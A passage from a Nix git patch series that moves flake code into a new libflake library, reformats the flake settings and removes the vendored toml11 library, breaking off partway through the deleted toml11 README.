                             if (lockFlags.commitLockFile) {
                                 std::string cm;
 
-                                cm = fetchSettings.commitLockFileSummary.get();
+                                cm = flakeSettings.commitLockFileSummary.get();
 
                                 if (cm == "") {
                                     cm = fmt("%s: %s", relPath, lockFileExists ? "Update" : "Add");
@@ -811,7 +812,7 @@ static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, V
             LockFlags {
                 .updateLockFile = false,
                 .writeLockFile = false,
-                .useRegistries = !state.settings.pureEval && fetchSettings.useRegistries,
+                .useRegistries = !state.settings.pureEval && flakeSettings.useRegistries,
                 .allowUnlocked = !state.settings.pureEval,
             }),
         v);
diff --git a/src/libexpr/flake/flake.hh b/src/libflake/flake/flake.hh
similarity index 100%
rename from src/libexpr/flake/flake.hh
rename to src/libflake/flake/flake.hh
diff --git a/src/libexpr/flake/flakeref.cc b/src/libflake/flake/flakeref.cc
similarity index 100%
rename from src/libexpr/flake/flakeref.cc
rename to src/libflake/flake/flakeref.cc
diff --git a/src/libexpr/flake/flakeref.hh b/src/libflake/flake/flakeref.hh
similarity index 100%
rename from src/libexpr/flake/flakeref.hh
rename to src/libflake/flake/flakeref.hh
diff --git a/src/libexpr/flake/lockfile.cc b/src/libflake/flake/lockfile.cc
similarity index 100%
rename from src/libexpr/flake/lockfile.cc
rename to src/libflake/flake/lockfile.cc
diff --git a/src/libexpr/flake/lockfile.hh b/src/libflake/flake/lockfile.hh
similarity index 100%
rename from src/libexpr/flake/lockfile.hh
rename to src/libflake/flake/lockfile.hh
diff --git a/src/libexpr/flake/url-name.cc b/src/libflake/flake/url-name.cc
similarity index 100%
rename from src/libexpr/flake/url-name.cc
rename to src/libflake/flake/url-name.cc
diff --git a/src/libexpr/flake/url-name.hh b/src/libflake/flake/url-name.hh
similarity index 100%
rename from src/libexpr/flake/url-name.hh
rename to src/libflake/flake/url-name.hh
diff --git a/src/libflake/local.mk b/src/libflake/local.mk
new file mode 100644
index 00000000000..2cceda2bf25
--- /dev/null
+++ b/src/libflake/local.mk
@@ -0,0 +1,17 @@
+libraries += libflake
+
+libflake_NAME = libnixflake
+
+libflake_DIR := $(d)
+
+libflake_SOURCES := $(wildcard $(d)/*.cc $(d)/flake/*.cc)
+
+# Not just for this library itself, but also for downstream libraries using this library
+
+INCLUDE_libflake := -I $(d)
+
+libflake_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake)
+
+libflake_LDFLAGS += $(THREAD_LDFLAGS)
+
+libflake_LIBS = libutil libstore libfetchers libexpr
diff --git a/src/nix/local.mk b/src/nix/local.mk
index 9883509fb9d..4b61173300a 100644
--- a/src/nix/local.mk
+++ b/src/nix/local.mk
@@ -24,9 +24,9 @@ ifdef HOST_UNIX
   INCLUDE_nix += -I $(d)/unix
 endif
 
-nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libmain) -I src/libcmd -I doc/manual $(INCLUDE_nix)
+nix_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) $(INCLUDE_libflake) $(INCLUDE_libmain) -I src/libcmd -I doc/manual $(INCLUDE_nix)
 
-nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd
+nix_LIBS = libexpr libmain libfetchers libflake libstore libutil libcmd
 
 nix_LDFLAGS = $(THREAD_LDFLAGS) $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS)
 
diff --git a/tests/unit/libexpr/flake/flakeref.cc b/tests/unit/libflake/flakeref.cc
similarity index 100%
rename from tests/unit/libexpr/flake/flakeref.cc
rename to tests/unit/libflake/flakeref.cc
diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk
new file mode 100644
index 00000000000..590bcf7c031
--- /dev/null
+++ b/tests/unit/libflake/local.mk
@@ -0,0 +1,43 @@
+check: libflake-tests_RUN
+
+programs += libflake-tests
+
+libflake-tests_NAME := libnixflake-tests
+
+libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml
+
+libflake-tests_DIR := $(d)
+
+ifeq ($(INSTALL_UNIT_TESTS), yes)
+  libflake-tests_INSTALL_DIR := $(checkbindir)
+else
+  libflake-tests_INSTALL_DIR :=
+endif
+
+libflake-tests_SOURCES := \
+    $(wildcard $(d)/*.cc) \
+    $(wildcard $(d)/value/*.cc) \
+    $(wildcard $(d)/flake/*.cc)
+
+libflake-tests_EXTRA_INCLUDES = \
+    -I tests/unit/libflake-support \
+    -I tests/unit/libstore-support \
+    -I tests/unit/libutil-support \
+    $(INCLUDE_libflake) \
+    $(INCLUDE_libexpr) \
+    $(INCLUDE_libfetchers) \
+    $(INCLUDE_libstore) \
+    $(INCLUDE_libutil) \
+
+libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES)
+
+libflake-tests_LIBS = \
+    libexpr-test-support libstore-test-support libutil-test-support \
+    libflake libexpr libfetchers libstore libutil
+
+libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
+
+ifdef HOST_WINDOWS
+  # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space
+  libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024)))
+endif
diff --git a/tests/unit/libexpr/flake/url-name.cc b/tests/unit/libflake/url-name.cc
similarity index 100%
rename from tests/unit/libexpr/flake/url-name.cc
rename to tests/unit/libflake/url-name.cc

From 7181d1f4a1100d223b99c372f97a40b952428916 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 24 Jun 2024 13:42:19 -0400
Subject: [PATCH 436/528] Reformat

Factored out code is now elegible for formatting.
---
 src/libflake/flake-settings.cc |  4 +---
 src/libflake/flake-settings.hh | 28 +++++++++++++++++++++-------
 2 files changed, 22 insertions(+), 10 deletions(-)

diff --git a/src/libflake/flake-settings.cc b/src/libflake/flake-settings.cc
index 77e35bc7b4a..ba97e0ce723 100644
--- a/src/libflake/flake-settings.cc
+++ b/src/libflake/flake-settings.cc
@@ -3,9 +3,7 @@
 
 namespace nix {
 
-FlakeSettings::FlakeSettings()
-{
-}
+FlakeSettings::FlakeSettings() {}
 
 FlakeSettings flakeSettings;
 
diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake-settings.hh
index ae88dfd9cc5..1087c0eba5e 100644
--- a/src/libflake/flake-settings.hh
+++ b/src/libflake/flake-settings.hh
@@ -16,21 +16,35 @@ struct FlakeSettings : public Config
 {
     FlakeSettings();
 
-    Setting<bool> useRegistries{this, true, "use-registries",
+    Setting<bool> useRegistries{
+        this,
+        true,
+        "use-registries",
         "Whether to use flake registries to resolve flake references.",
-        {}, true, Xp::Flakes};
-
-    Setting<bool> acceptFlakeConfig{this, false, "accept-flake-config",
+        {},
+        true,
+        Xp::Flakes};
+
+    Setting<bool> acceptFlakeConfig{
+        this,
+        false,
+        "accept-flake-config",
         "Whether to accept nix configuration from a flake without prompting.",
-        {}, true, Xp::Flakes};
+        {},
+        true,
+        Xp::Flakes};
 
     Setting<std::string> commitLockFileSummary{
-        this, "", "commit-lockfile-summary",
+        this,
+        "",
+        "commit-lockfile-summary",
         R"(
           The commit summary to use when committing changed flake lock files. If
           empty, the summary is generated based on the action performed.
         )",
-        {}, true, Xp::Flakes};
+        {},
+        true,
+        Xp::Flakes};
 };
 
 // TODO: don't use a global variable.

From f002f85861e9b3ed89554b03684be566858e7b12 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 26 Jun 2024 22:26:45 -0400
Subject: [PATCH 437/528] Avoid libmain header in libexpr

We just don't need it!
---
 src/libexpr/eval.cc  | 2 +-
 src/libexpr/local.mk | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index e2ae493cfc8..d2be00e55f1 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -3,7 +3,7 @@
 #include "hash.hh"
 #include "primops.hh"
 #include "print-options.hh"
-#include "shared.hh"
+#include "exit.hh"
 #include "types.hh"
 #include "util.hh"
 #include "store-api.hh"
diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk
index 95ce4de6326..d35101a7c31 100644
--- a/src/libexpr/local.mk
+++ b/src/libexpr/local.mk
@@ -15,7 +15,7 @@ libexpr_SOURCES := \
 INCLUDE_libexpr := -I $(d)
 
 libexpr_CXXFLAGS += \
-	$(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr) \
+	$(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) \
 	-DGC_THREADS
 
 libexpr_LIBS = libutil libstore libfetchers

From 149d8eb8aa3bfdc4abebabaa97323dd4e1dd8db5 Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Tue, 26 Mar 2024 22:36:17 -0400
Subject: [PATCH 438/528] Stop vendoring toml11

We don't apply any patches to it, and vendoring it locks users into
bugs (it hasn't been updated since its introduction in late 2021).

Closes https://git.lix.systems/lix-project/lix/issues/164

Change-Id: Ied071c841fc30b0dfb575151afd1e7f66970fdb9
(cherry picked from commit 80405d06264f0de1c16ee2646388ab501df20628)
---
 .gitignore                                 |    3 +
 configure.ac                               |    5 +
 doc/manual/rl-next/drop-vendored-toml11.md |    6 +
 maintainers/flake-module.nix               |    1 -
 package.nix                                |    2 +
 src/libexpr/local.mk                       |    2 -
 src/libexpr/primops/fromTOML.cc            |    3 +-
 src/toml11/LICENSE                         |   21 -
 src/toml11/README.md                       | 1966 ----------------
 src/toml11/toml.hpp                        |   46 -
 src/toml11/toml/color.hpp                  |   64 -
 src/toml11/toml/combinator.hpp             |  306 ---
 src/toml11/toml/comments.hpp               |  472 ----
 src/toml11/toml/datetime.hpp               |  631 ------
 src/toml11/toml/exception.hpp              |   65 -
 src/toml11/toml/from.hpp                   |   19 -
 src/toml11/toml/get.hpp                    | 1117 ---------
 src/toml11/toml/into.hpp                   |   19 -
 src/toml11/toml/lexer.hpp                  |  293 ---
 src/toml11/toml/literal.hpp                |  113 -
 src/toml11/toml/macros.hpp                 |  121 -
 src/toml11/toml/parser.hpp                 | 2364 --------------------
 src/toml11/toml/region.hpp                 |  417 ----
 src/toml11/toml/result.hpp                 |  717 ------
 src/toml11/toml/serializer.hpp             |  922 --------
 src/toml11/toml/source_location.hpp        |  233 --
 src/toml11/toml/storage.hpp                |   43 -
 src/toml11/toml/string.hpp                 |  225 --
 src/toml11/toml/traits.hpp                 |  327 ---
 src/toml11/toml/types.hpp                  |  173 --
 src/toml11/toml/utility.hpp                |  149 --
 src/toml11/toml/value.hpp                  | 2035 -----------------
 32 files changed, 17 insertions(+), 12863 deletions(-)
 create mode 100644 doc/manual/rl-next/drop-vendored-toml11.md
 delete mode 100644 src/toml11/LICENSE
 delete mode 100644 src/toml11/README.md
 delete mode 100644 src/toml11/toml.hpp
 delete mode 100644 src/toml11/toml/color.hpp
 delete mode 100644 src/toml11/toml/combinator.hpp
 delete mode 100644 src/toml11/toml/comments.hpp
 delete mode 100644 src/toml11/toml/datetime.hpp
 delete mode 100644 src/toml11/toml/exception.hpp
 delete mode 100644 src/toml11/toml/from.hpp
 delete mode 100644 src/toml11/toml/get.hpp
 delete mode 100644 src/toml11/toml/into.hpp
 delete mode 100644 src/toml11/toml/lexer.hpp
 delete mode 100644 src/toml11/toml/literal.hpp
 delete mode 100644 src/toml11/toml/macros.hpp
 delete mode 100644 src/toml11/toml/parser.hpp
 delete mode 100644 src/toml11/toml/region.hpp
 delete mode 100644 src/toml11/toml/result.hpp
 delete mode 100644 src/toml11/toml/serializer.hpp
 delete mode 100644 src/toml11/toml/source_location.hpp
 delete mode 100644 src/toml11/toml/storage.hpp
 delete mode 100644 src/toml11/toml/string.hpp
 delete mode 100644 src/toml11/toml/traits.hpp
 delete mode 100644 src/toml11/toml/types.hpp
 delete mode 100644 src/toml11/toml/utility.hpp
 delete mode 100644 src/toml11/toml/value.hpp

diff --git a/.gitignore b/.gitignore
index 1bf540ba2a7..a17b627f44a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -54,6 +54,9 @@ perl/Makefile.config
 # /src/libfetchers
 /tests/unit/libfetchers/libnixfetchers-tests
 
+# /src/libflake
+/tests/unit/libflake/libnixflake-tests
+
 # /src/libstore/
 *.gen.*
 /src/libstore/tests
diff --git a/configure.ac b/configure.ac
index 2b5cd115fb6..4f66a3efcf6 100644
--- a/configure.ac
+++ b/configure.ac
@@ -400,6 +400,11 @@ AS_CASE(["$enable_markdown"],
 PKG_CHECK_MODULES([LIBGIT2], [libgit2])
 
 
+# Look for toml11, a required dependency.
+AC_LANG_PUSH(C++)
+AC_CHECK_HEADER([toml.hpp], [], [AC_MSG_ERROR([toml11 is not found.])])
+AC_LANG_POP(C++)
+
 # Setuid installations.
 AC_CHECK_FUNCS([setresuid setreuid lchown])
 
diff --git a/doc/manual/rl-next/drop-vendored-toml11.md b/doc/manual/rl-next/drop-vendored-toml11.md
new file mode 100644
index 00000000000..d1feeb7031a
--- /dev/null
+++ b/doc/manual/rl-next/drop-vendored-toml11.md
@@ -0,0 +1,6 @@
+---
+synopsis: Stop vendoring toml11
+---
+
+We don't apply any patches to it, and vendoring it locks users into
+bugs (it hasn't been updated since its introduction in late 2021).
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index cc7241d21ee..8f95e788bec 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -18,7 +18,6 @@
             ''^tests/unit/[^/]*/data/.*$''
 
             # Don't format vendored code
-            ''^src/toml11/.*''
             ''^doc/manual/redirects\.js$''
             ''^doc/manual/theme/highlight\.js$''
 
diff --git a/package.nix b/package.nix
index 9a6fc272a49..126af6add85 100644
--- a/package.nix
+++ b/package.nix
@@ -32,6 +32,7 @@
 , pkg-config
 , rapidcheck
 , sqlite
+, toml11
 , util-linux
 , xz
 
@@ -225,6 +226,7 @@ in {
     libsodium
     openssl
     sqlite
+    toml11
     xz
     ({ inherit readline editline; }.${readlineFlavor})
   ] ++ lib.optionals enableMarkdown [
diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk
index d35101a7c31..26958bf2cd6 100644
--- a/src/libexpr/local.mk
+++ b/src/libexpr/local.mk
@@ -48,5 +48,3 @@ $(foreach i, $(wildcard src/libexpr/value/*.hh), \
 $(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh
 
 $(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/flake/call-flake.nix.gen.hh
-
-$(buildprefix)src/libexpr/primops/fromTOML.o:	ERROR_SWITCH_ENUM =
diff --git a/src/libexpr/primops/fromTOML.cc b/src/libexpr/primops/fromTOML.cc
index 9bee8ca3864..6c7d303e85a 100644
--- a/src/libexpr/primops/fromTOML.cc
+++ b/src/libexpr/primops/fromTOML.cc
@@ -1,9 +1,8 @@
 #include "primops.hh"
 #include "eval-inline.hh"
 
-#include "../../toml11/toml.hpp"
-
 #include <sstream>
+#include <toml.hpp>
 
 namespace nix {
 
diff --git a/src/toml11/LICENSE b/src/toml11/LICENSE
deleted file mode 100644
index f55c511d6f0..00000000000
--- a/src/toml11/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-The MIT License (MIT)
-
-Copyright (c) 2017 Toru Niina
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/src/toml11/README.md b/src/toml11/README.md
deleted file mode 100644
index 62b58630579..00000000000
--- a/src/toml11/README.md
+++ /dev/null
@@ -1,1966 +0,0 @@
-toml11
-======
-
-[![Build Status on GitHub Actions](https://github.com/ToruNiina/toml11/workflows/build/badge.svg)](https://github.com/ToruNiina/toml11/actions)
-[![Build Status on TravisCI](https://travis-ci.org/ToruNiina/toml11.svg?branch=master)](https://travis-ci.org/ToruNiina/toml11)
-[![Build status on Appveyor](https://ci.appveyor.com/api/projects/status/m2n08a926asvg5mg/branch/master?svg=true)](https://ci.appveyor.com/project/ToruNiina/toml11/branch/master)
-[![Build status on CircleCI](https://circleci.com/gh/ToruNiina/toml11/tree/master.svg?style=svg)](https://circleci.com/gh/ToruNiina/toml11/tree/master)
-[![Version](https://img.shields.io/github/release/ToruNiina/toml11.svg?style=flat)](https://github.com/ToruNiina/toml11/releases)
-[![License](https://img.shields.io/github/license/ToruNiina/toml11.svg?style=flat)](LICENSE)
-[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.1209136.svg)](https://doi.org/10.5281/zenodo.1209136)
-
-toml11 is a C++11 (or later) header-only toml parser/encoder depending only on C++ standard library.
-
-- It is compatible to the latest version of [TOML v1.0.0](https://toml.io/en/v1.0.0).
-- It is one of the most TOML standard compliant libraries, tested with [the language agnostic test suite for TOML parsers by BurntSushi](https://github.com/BurntSushi/toml-test).
-- It shows highly informative error messages. You can see the error messages about invalid files at [CircleCI](https://circleci.com/gh/ToruNiina/toml11).
-- It has configurable container. You can use any random-access containers and key-value maps as backend containers.
-- It optionally preserves comments without any overhead.
-- It has configurable serializer that supports comments, inline tables, literal strings and multiline strings.
-- It supports user-defined type conversion from/into toml values.
-- It correctly handles UTF-8 sequences, with or without BOM, both on posix and Windows.
-
-## Example
-
-```cpp
-#include <toml.hpp>
-#include <iostream>
-
-int main()
-{
-    // ```toml
-    // title = "an example toml file"
-    // nums  = [3, 1, 4, 1, 5]
-    // ```
-    auto data = toml::parse("example.toml");
-
-    // find a value with the specified type from a table
-    std::string title = toml::find<std::string>(data, "title");
-
-    // convert the whole array into any container automatically
-    std::vector<int> nums = toml::find<std::vector<int>>(data, "nums");
-
-    // access with STL-like manner
-    if(!data.contains("foo"))
-    {
-        data["foo"] = "bar";
-    }
-
-    // pass a fallback
-    std::string name = toml::find_or<std::string>(data, "name", "not found");
-
-    // width-dependent formatting
-    std::cout << std::setw(80) << data << std::endl;
-
-    return 0;
-}
-```
-
-## Table of Contents
-
-- [Integration](#integration)
-- [Decoding a toml file](#decoding-a-toml-file)
-  - [In the case of syntax error](#in-the-case-of-syntax-error)
-  - [Invalid UTF-8 Codepoints](#invalid-utf-8-codepoints)
-- [Finding a toml value](#finding-a-toml-value)
-  - [Finding a value in a table](#finding-a-value-in-a-table)
-  - [In case of error](#in-case-of-error)
-  - [Dotted keys](#dotted-keys)
-- [Casting a toml value](#casting-a-toml-value)
-- [Checking value type](#checking-value-type)
-- [More about conversion](#more-about-conversion)
-  - [Converting an array](#converting-an-array)
-  - [Converting a table](#converting-a-table)
-  - [Getting an array of tables](#getting-an-array-of-tables)
-  - [Cost of conversion](#cost-of-conversion)
-  - [Converting datetime and its variants](#converting-datetime-and-its-variants)
-- [Getting with a fallback](#getting-with-a-fallback)
-- [Expecting conversion](#expecting-conversion)
-- [Visiting a toml::value](#visiting-a-tomlvalue)
-- [Constructing a toml::value](#constructing-a-tomlvalue)
-- [Preserving Comments](#preserving-comments)
-- [Customizing containers](#customizing-containers)
-- [TOML literal](#toml-literal)
-- [Conversion between toml value and arbitrary types](#conversion-between-toml-value-and-arbitrary-types)
-- [Formatting user-defined error messages](#formatting-user-defined-error-messages)
-- [Obtaining location information](#obtaining-location-information)
-- [Exceptions](#exceptions)
-- [Colorize Error Messages](#colorize-error-messages)
-- [Serializing TOML data](#serializing-toml-data)
-- [Underlying types](#underlying-types)
-- [Unreleased TOML features](#unreleased-toml-features)
-- [Breaking Changes from v2](#breaking-changes-from-v2)
-- [Running Tests](#running-tests)
-- [Contributors](#contributors)
-- [Licensing Terms](#licensing-terms)
-
-## Integration
-
-Just include the file after adding it to the include path.
-
-```cpp
-#include <toml.hpp> // that's all! now you can use it.
-#include <iostream>
-
-int main()
-{
-    const auto data  = toml::parse("example.toml");
-    const auto title = toml::find<std::string>(data, "title");
-    std::cout << "the title is " << title << std::endl;
-    return 0;
-}
-```
-
-The convenient way is to add this repository as a git-submodule or to install
-it in your system by CMake.
-
-Note for MSVC: We recommend to set `/Zc:__cplusplus` to detect C++ version correctly.
-
-## Decoding a toml file
-
-To parse a toml file, the only thing you have to do is
-to pass a filename to the `toml::parse` function.
-
-```cpp
-const std::string fname("sample.toml");
-const toml::value data = toml::parse(fname);
-```
-
-As required by the TOML specification, the top-level value is always a table.
-You can find a value inside it, cast it into a table explicitly, and insert it as a value into other `toml::value`.
-
-If it encounters an error while opening a file, it will throw `std::runtime_error`.
-
-You can also pass a `std::istream` to the  `toml::parse` function.
-To show a filename in an error message, however, it is recommended to pass the
-filename with the stream.
-
-```cpp
-std::ifstream ifs("sample.toml", std::ios_base::binary);
-assert(ifs.good());
-const auto data = toml::parse(ifs, /*optional -> */ "sample.toml");
-```
-
-**Note**: When you are **on Windows, open a file in binary mode**.
-If a file is opened in text-mode, CRLF ("\r\n") will automatically be
-converted to LF ("\n") and this causes inconsistency between file size
-and the contents that would be read. This causes weird error.
-
-### In the case of syntax error
-
-If there is a syntax error in a toml file, `toml::parse` will throw
-`toml::syntax_error` that inherits `std::exception`.
-
-toml11 has clean and informative error messages inspired by Rust and
-it looks like the following.
-
-```console
-terminate called after throwing an instance of 'toml::syntax_error'
-  what():  [error] toml::parse_table: invalid line format # error description
- --> example.toml                                         # file name
- 3 | a = 42 = true                                        # line num and content
-   |        ^------ expected newline, but got '='.        # error reason
-```
-
-If you (mistakenly) duplicate tables and got an error, it is helpful to see
-where they are. toml11 shows both at the same time like the following.
-
-```console
-terminate called after throwing an instance of 'toml::syntax_error'
-  what():  [error] toml::insert_value: table ("table") already exists.
- --> duplicate-table.toml
- 1 | [table]
-   | ~~~~~~~ table already exists here
- ...
- 3 | [table]
-   | ~~~~~~~ table defined twice
-```
-
-When toml11 encounters a malformed value, it tries to detect what type it is.
-Then it shows hints to fix the format. An error message while reading one of
-the malformed files in [the language agnostic test suite](https://github.com/BurntSushi/toml-test).
-is shown below.
-
-```console
-what(): [error] bad time: should be HH:MM:SS.subsec
- --> ./datetime-malformed-no-secs.toml
- 1 | no-secs = 1987-07-05T17:45Z
-   |                     ^------- HH:MM:SS.subsec
-   |
-Hint: pass: 1979-05-27T07:32:00, 1979-05-27 07:32:00.999999
-Hint: fail: 1979-05-27T7:32:00, 1979-05-27 17:32
-```
-
-You can find other examples in a job named `output_result` on
-[CircleCI](https://circleci.com/gh/ToruNiina/toml11).
-
-Since the error message generation is generally a difficult task, the current
-status is not ideal. If you encounter a weird error message, please let us know
-and contribute to improve the quality!
-
-### Invalid UTF-8 codepoints
-
-It throws `syntax_error` if a value of an escape sequence
-representing unicode character is not a valid UTF-8 codepoint.
-
-```console
-  what():  [error] toml::read_utf8_codepoint: input codepoint is too large.
- --> utf8.toml
- 1 | exceeds_unicode = "\U0011FFFF example"
-   |                              ^--------- should be in [0x00..0x10FFFF]
-```
-
-## Finding a toml value
-
-After parsing successfully, you can obtain the values from the result of
-`toml::parse` using `toml::find` function.
-
-```toml
-# sample.toml
-answer  = 42
-pi      = 3.14
-numbers = [1,2,3]
-time    = 1979-05-27T07:32:00Z
-```
-
-``` cpp
-const auto data      = toml::parse("sample.toml");
-const auto answer    = toml::find<std::int64_t    >(data, "answer");
-const auto pi        = toml::find<double          >(data, "pi");
-const auto numbers   = toml::find<std::vector<int>>(data, "numbers");
-const auto timepoint = toml::find<std::chrono::system_clock::time_point>(data, "time");
-```
-
-By default, `toml::find` returns a `toml::value`.
-
-```cpp
-const toml::value& answer = toml::find(data, "answer");
-```
-
-When you pass an exact TOML type that does not require type conversion,
-`toml::find` returns a reference without copying the value.
-
-```cpp
-const auto  data   = toml::parse("sample.toml");
-const auto& answer = toml::find<toml::integer>(data, "answer");
-```
-
-If the specified type requires conversion, you can't take a reference to the value.
-See also [underlying types](#underlying-types).
-
-**NOTE**: For some technical reason, automatic conversion between `integer` and
-`floating` is not supported. If you want to get a floating value even if a value
-has integer value, you need to convert it manually after obtaining a value,
-like the following.
-
-```cpp
-const auto vx = toml::find(data, "x");
-double x = vx.is_floating() ? vx.as_floating(std::nothrow) :
-           static_cast<double>(vx.as_integer()); // it throws if vx is neither
-                                                 // floating nor integer.
-```
-
-### Finding a value in a table
-
-There are several way to get a value defined in a table.
-First, you can get a table as a normal value and find a value from the table.
-
-```toml
-[fruit]
-name = "apple"
-[fruit.physical]
-color = "red"
-shape = "round"
-```
-
-``` cpp
-const auto  data  = toml::parse("fruit.toml");
-const auto& fruit = toml::find(data, "fruit");
-const auto  name  = toml::find<std::string>(fruit, "name");
-
-const auto& physical = toml::find(fruit, "physical");
-const auto  color    = toml::find<std::string>(physical, "color");
-const auto  shape    = toml::find<std::string>(physical, "shape");
-```
-
-Here, variable `fruit` is a `toml::value` and can be used as the first argument
-of `toml::find`.
-
-Second, you can pass as many arguments as the number of subtables to `toml::find`.
-
-```cpp
-const auto data  = toml::parse("fruit.toml");
-const auto color = toml::find<std::string>(data, "fruit", "physical", "color");
-const auto shape = toml::find<std::string>(data, "fruit", "physical", "shape");
-```
-
-### Finding a value in an array
-
-You can find n-th value in an array by `toml::find`.
-
-```toml
-values = ["foo", "bar", "baz"]
-```
-
-``` cpp
-const auto data   = toml::parse("sample.toml");
-const auto values = toml::find(data, "values");
-const auto bar    = toml::find<std::string>(values, 1);
-```
-
-`toml::find` can also search array recursively.
-
-```cpp
-const auto data = toml::parse("fruit.toml");
-const auto bar  = toml::find<std::string>(data, "values", 1);
-```
-
-Before calling `toml::find`, you can check if a value corresponding to a key
-exists. You can use both `bool toml::value::contains(const key&) const` and
-`std::size_t toml::value::count(const key&) const`. Those behaves like the
-`std::map::contains` and `std::map::count`.
-
-```cpp
-const auto data = toml::parse("fruit.toml");
-if(data.contains("fruit") && data.at("fruit").count("physical") != 0)
-{
-    // ...
-}
-```
-
-### In case of error
-
-If the value does not exist, `toml::find` throws `std::out_of_range` with the
-location of the table.
-
-```console
-terminate called after throwing an instance of 'std::out_of_range'
-  what():  [error] key "answer" not found
- --> example.toml
- 6 | [tab]
-   | ~~~~~ in this table
-```
-
-----
-
-If the specified type differs from the actual value contained, it throws
-`toml::type_error` that inherits `std::exception`.
-
-Similar to the case of syntax error, toml11 also displays clean error messages.
-The error message when you choose `int` to get `string` value would be like this.
-
-```console
-terminate called after throwing an instance of 'toml::type_error'
-  what():  [error] toml::value bad_cast to integer
- --> example.toml
- 3 | title = "TOML Example"
-   |         ~~~~~~~~~~~~~~ the actual type is string
-```
-
-**NOTE**: In order to show this kind of error message, all the toml values have
-a pointer to represent its range in a file. The entire contents of a file is
-shared by `toml::value`s and remains on the heap memory. It is recommended to
-destruct all the `toml::value` classes after configuring your application
-if you have a large TOML file compared to the memory resource.
-
-### Dotted keys
-
-TOML v0.5.0 has a new feature named "dotted keys".
-You can chain keys to represent the structure of the data.
-
-```toml
-physical.color = "orange"
-physical.shape = "round"
-```
-
-This is equivalent to the following.
-
-```toml
-[physical]
-color = "orange"
-shape = "round"
-```
-
-You can get both of the above tables with the same c++ code.
-
-```cpp
-const auto physical = toml::find(data, "physical");
-const auto color    = toml::find<std::string>(physical, "color");
-```
-
-The following code does not work for the above toml file.
-
-```cpp
-// XXX this does not work!
-const auto color = toml::find<std::string>(data, "physical.color");
-```
-
-The above code works with the following toml file.
-
-```toml
-"physical.color" = "orange"
-# equivalent to {"physical.color": "orange"},
-# NOT {"physical": {"color": "orange"}}.
-```
-
-
-## Casting a toml value
-
-### `toml::get`
-
-`toml::parse` returns `toml::value`. `toml::value` is a union type that can
-contain one of the following types.
-
-- `toml::boolean` (`bool`)
-- `toml::integer` (`std::int64_t`)
-- `toml::floating` (`double`)
-- `toml::string` (a type convertible to std::string)
-- `toml::local_date`
-- `toml::local_time`
-- `toml::local_datetime`
-- `toml::offset_datetime`
-- `toml::array` (by default, `std::vector<toml::value>`)
-  - It depends. See [customizing containers](#customizing-containers) for detail.
-- `toml::table` (by default, `std::unordered_map<toml::key, toml::value>`)
-  - It depends. See [customizing containers](#customizing-containers) for detail.
-
-To get a value inside, you can use `toml::get<T>()`. The usage is the same as
-`toml::find<T>` (actually, `toml::find` internally uses `toml::get` after casting
-a value to `toml::table`).
-
-``` cpp
-const toml::value  data    = toml::parse("sample.toml");
-const toml::value  answer_ = toml::get<toml::table >(data).at("answer");
-const std::int64_t answer  = toml::get<std::int64_t>(answer_);
-```
-
-When you pass an exact TOML type that does not require type conversion,
-`toml::get` returns a reference through which you can modify the content
-(if the `toml::value` is `const`, it returns `const` reference).
-
-```cpp
